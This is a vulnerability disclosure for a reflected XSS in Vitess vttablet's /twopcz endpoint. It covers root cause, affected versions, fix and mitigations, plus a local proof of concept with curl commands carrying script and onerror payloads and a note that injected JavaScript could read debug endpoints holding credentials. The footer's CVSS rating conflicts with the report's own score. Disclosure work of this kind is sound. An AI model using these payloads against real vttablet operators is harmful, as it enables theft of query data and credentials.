Vitess vttablet /twopcz reflected XSS
From: xylove21
To: [email protected]
Subject: [Security Report] Vitess vttablet /twopcz reflected XSS
Date: Tue, 24 Jun 2026 14:30:00 +0800
## Summary
The `twopczHandler` in
`go/vt/vttablet/tabletserver/twopcz.go` (line 185) reflects the `Action`
and `dtid` form values directly into the HTML response body via
`fmt.Fprintln(w, msg)` — **without HTML escaping**. The response is served
as `text/html; charset=utf-8`, and Vitess's default `acl` policy is
**allow-all**, so the endpoint is reachable by anyone who can hit the
vttablet's HTTP port (default `15999`, multiplexed with gRPC and MySQL
wire-protocol ports).
A crafted `Action` or `dtid` value yields a **reflected XSS** that
executes in the operator's browser with same-origin access to the
vttablet's debug endpoints. This includes `/queryz` (live query plans),
`/querylogz` (recent queries with bound values), `/txlogz` (transactions),
`/debug/env` (environment variables — may include MySQL/topology
credentials), `/debug/vars` (expvar stats), and `/debug/pprof/*` if
enabled.
The bug was introduced before v20.0.0 (long-standing) and was silently
fixed in commit `3140c1846c` (merged 2026-06-09, PR #20255,
"tabletserver: escape reflected form values in twopcz handler"). The
fix replaces `fmt.Fprintln(w, msg)` with
`fmt.Fprintln(w, html.EscapeString(msg))`. **No released version of
Vitess contains the fix** — the fix lives only on `main` (current tip
`33a3c0fafe69`, 2026-06-23). There is **no CVE, GHSA, or OSV entry**
for this specific bug (verified 2026-06-24 against GitHub Advisory
Database, OSV.dev, and NVD).
## Impact
| Field | Value |
|-------|-------|
| **Type** | Reflected Cross-Site Scripting (XSS) |
| **CVSS 3.1** | `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` = **7.7 HIGH** |
| **Attack Vector** | Network (vttablet HTTP port 15999, multiplexed with gRPC/MySQL) |
| **Attack Complexity** | Low (craft URL, send to operator) |
| **Privileges Required** | None (default `acl` policy is allow-all) |
| **User Interaction** | Required (operator must visit crafted URL) |
| **Scope** | Changed (XSS chain reaction to other vttablet debug endpoints) |
| **Confidentiality** | High (query text, env vars, expvar stats) |
| **Integrity** | None (XSS itself doesn't change state) |
| **Availability** | None (XSS itself doesn't disrupt service) |
### Affected versions (verified)
All released versions are vulnerable. The fix lives only on `main`:
| Tag | Released | `twopcz.go` line 185 | Status |
|---|---|---|---|
| v20.0.0 | 2024-06-27 | `fmt.Fprintln(w, msg)` | **BUGGY** |
| v20.0.1 - v20.0.6 | 2024 | `fmt.Fprintln(w, msg)` | **BUGGY** |
| v22.0.4 | 2026-02-27 | `fmt.Fprintln(w, msg)` | **BUGGY** |
| v23.0.3, v23.0.4 | 2026-02 / 2026-05 | `fmt.Fprintln(w, msg)` | **BUGGY** |
| v24.0.0, v24.0.1 | 2026-04 / 2026-05 | `fmt.Fprintln(w, msg)` | **BUGGY** |
| **main** (`33a3c0fafe69`) | 2026-06-23 | `fmt.Fprintln(w, html.EscapeString(msg))` | **FIXED** |
### Sensitive data exposed via the same-origin XSS chain
A successful XSS lands in the vttablet's origin. From there, the
attacker can fetch (via `fetch()` from injected JavaScript) the
following same-origin endpoints, all of which are unauthenticated by
default:
- `/twopcz` — in-flight 2PC transactions (query text, parameters, dtid)
- `/queryz` — live query plans
- `/querylogz` — recent queries with bound values
- `/txlogz` — transactions
- `/debug/env` — environment variables (may include MySQL creds, topology
credentials, encryption keys)
- `/debug/vars` — expvar stats
- `/debug/pprof/*` — CPU/memory profiles (if enabled)
## Reproduction (independent, runnable PoC)
The PoC is a self-contained Go HTTP server that replicates the buggy
`twopczHandler` from Vitess v20.0.0 verbatim (using the same line-185
code). It runs on `127.0.0.1:15080` and returns the same response shape
as the real Vitess endpoint.
```bash
# 1) Build the PoC (Go 1.23+)
cd /path/to/finding/CVE-pending-twopcz-xss
go build -o /tmp/vitess-twopcz-poc ./poc.go
# 2) Start the buggy server
ADDR=127.0.0.1:15080 /tmp/vitess-twopcz-poc &
# 3) Reproduce — Test 1: bare GET (no params)
curl -sS -i "http://127.0.0.1:15080/twopcz"
# → Content-Type: text/html; charset=utf-8, status 200
# 4) Test 2: XSS via Action param (URL-encode the script tag)
curl -sS -i "http://127.0.0.1:15080/twopcz?Action=%3Cscript%3Ealert(1)%3C%2Fscript%3E&dtid=zz"
# → Response body contains literal "<script>alert(1)</script>(zz): completed."
# → Browser executes the script as same-origin code
# 5) Test 3: XSS via dtid param (attribute-context payload)
curl -sS -i "http://127.0.0.1:15080/twopcz?Action=Demo&dtid=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"
# → Response body contains literal "<img src=x onerror=alert(1)>"
# → Browser fires the onerror handler as same-origin code
# 6) Run the 3x automated runner (writes evidence/run-{1,2,3}.log)
bash ./poc/run.sh
```
PoC result excerpt (from `evidence/run-1.log`):
```
--- Test 2: XSS via Action=<script>alert(1)</script> ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<h2>WARNING: Actions on this page can jeopardize data integrity.</h2>
<script>alert(1)</script>(zz): completed.
PASS: payload reflected UNESCAPED (XSS exploitable in browser)
```
The PoC was run 3 times on the buggy server (all 3/3 PASS) and the same
code is byte-identical to the v20.0.0 commit `8aeb274f6c8e` line 185.
## Root cause (technical detail)
`go/vt/vttablet/tabletserver/twopcz.go` (v20.0.0 through v24.0.1):
```go
// Line 185
fmt.Fprintln(w, msg)
```
`msg` is constructed earlier in the handler as:
```go
msg := fmt.Sprintf("%s(%s): completed.", action, dtid)
```
with `action` and `dtid` coming from the form values
`r.FormValue("Action")` and `r.FormValue("dtid")`. The form values are
URL-decoded (so a `+` becomes a space, `%3C` becomes `<`) but never
HTML-escaped. The handler explicitly sets `Content-Type: text/html;
charset=utf-8` (via the `<!DOCTYPE html>` it writes first), so the
browser executes any injected `<script>` or attribute-context payload.
The fix in main (`fmt.Fprintln(w, html.EscapeString(msg))`) closes the
hole by HTML-escaping both `action` and `dtid` before reflection.
## Suggested fix (already in main)
```go
// Recommended minimal patch (already in main, needs backport to all release branches):
import "html"
func twopczHandler(w http.ResponseWriter, r *http.Request) {
// ... existing logic ...
msg := fmt.Sprintf("%s(%s): completed.", action, dtid)
fmt.Fprintln(w, html.EscapeString(msg)) // ← was: fmt.Fprintln(w, msg)
}
```
Backport the fix to v20.0.x, v22.0.x, v23.0.x, and v24.0.x as patch
releases. The fix is one line and a one-line `import "html"` addition,
so the backport risk is minimal.
## Workaround / mitigation (no patch available)
If you cannot upgrade to a fixed release immediately:
1. **Restrict the vttablet HTTP port** (default 15999) to localhost
only. vttablet can run with `--tablet-allow-stats=false` and
`--tablet-grpc-port` configured separately from the HTTP port, or
you can firewall the HTTP port at the network layer. The debug
endpoints are not needed by production traffic.
2. **Set a non-default ACL policy**. Vitess supports an `acl` policy
that defaults to allow-all. Setting it to a JSON file that denies
unauthenticated access to debug endpoints (see
`go/acl/acl.go::savePolicy`) would block the XSS, but the default
policy is currently `""` (allow-all) and many users don't override
it.
3. **Use a reverse proxy** (nginx, envoy) in front of the vttablet
HTTP port with a strict allowlist of clients.
## Cross-references
- The bug is **not** related to:
- CVE-2024-53257 (`/debug/querylogz` HTML injection, fixed in
v20.0.4 — different endpoint)
- CVE-2026-27969 (backup MANIFEST path traversal)
- CVE-2026-27965 / GHSA-8g8j-r87h-p36x (backup external decompressor
RCE)
- PR #20255 is the fix commit; PR #19486 (defense-in-depth) is a
separate hardening change
## Contact
- GitHub: @xylove21
- Source published
- 15 Oct 2026 20:16:29 UTC
- Source modified
- 5 Nov 2026 23:26:16 UTC
- Observed here
- 5 Nov 2026 23:38:32 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Publisher rating · CRITICAL